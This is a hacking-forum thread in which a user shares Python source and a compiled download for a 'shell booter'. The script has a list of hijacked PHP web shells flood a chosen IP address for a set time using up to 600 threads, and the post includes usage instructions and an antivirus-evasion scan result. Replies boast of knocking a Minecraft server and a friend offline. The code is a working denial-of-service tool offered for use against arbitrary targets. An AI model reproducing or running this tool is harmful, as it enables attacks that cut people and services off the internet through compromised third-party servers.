Thread: [YEA! working open source shell BOOTER /w 50 shells FREE.](#)

p99will - October 9, 2012, 4:45 am

OK.. so i found out about shells and booting and stuff today.. So i looked for some shells and found about 50 working ones that i tested and thought that was cool..

Then i wanted a booter and ppl were like: "Go buy one" and "look on the internet" .. LAME!

So i made one. And i'm happy to share it with you along with some shells.

I've tested this booter on myself and within 5 seconds i had no access to the internet.

Heres the python code:

```
Code #booter.py
#Made by p99will
import urllib, thread, time
shells = raw_input("File for list of shells: ")
ip = raw_input("IP: ")
seconds = raw_input("Time: ")
threads = 0
file1 = open(shells)
hosts = file1.read()
hosts = hosts.split()
file1.close()
def fire(host):
    global ip
    global seconds
    global threads
    threads += 1
    try:
        urllib.urlopen(host+"?act=phptools&host="+ip+"&time="+seconds)
    except IOError:
        pass
    else:
        pass
    threads -= 1
for host in hosts:
    while threads >= 600:
        time.sleep(0.2)
    thread.start_new_thread(fire,(host,))
while threads != 1:
    print threads, 'still running'
    time.sleep(1)
```

and heres the compiled version: <http://www.mediafire.com/?onxz7z8015eb68t>

In the compiled version, unzip it, open the 'booter by p99will' folder and open booter.exe

Usage:

file for list of shells: <filename.txt> of where your shells. The ones i included are free.txt

ip: <target ip address> the ip of the user/server you wish to ddos

time: <seconds> the period of time you want the server to be down for

AV scan :

<https://www.virustotal.com/file/57be88d19080873e76a172cfb8cfe2f7867a2a62b7b623f0be60662639236fc2/analysis/1349782595/>

0/43

windowskid - April 10, 2013, 3:23 pm

Awesome. I lagged a minecraft server with this.

Fat Autist12 - September 14, 2013, 7:37 am

Don't know if it works yet. Trying it out though. Thanks for the share.

Silent Uprising - September 14, 2013, 8:58 am

Im on my phone now so I can't try, but I can't wait till I get home so I can try it out :)

white_mage_12 - September 14, 2013, 9:01 am

Testing this now, gonna attempt it on my friend.

Edit: He called me (by phone) a while ago saying his internet was down. Success.

KarlGardian - September 14, 2013, 11:03 am

i dont know how to setup it. can u help me?

Vaxorr - September 14, 2013, 12:35 pm

will test this hope that works thanks for your efforts ?;)

~ Null ?

goliathboi - September 15, 2013, 2:54 pm

I am confused on the directions, can you explain in further detail or is this outdated and am I just too late

vMasterChaos - May 12, 2014, 7:17 pm

This seems epic! Haven't tried it yet, but I will soon! Thanks for the source code ?

PCPartPicker - May 12, 2014, 7:20 pm

All the shells are dead. Fail Troll. :|
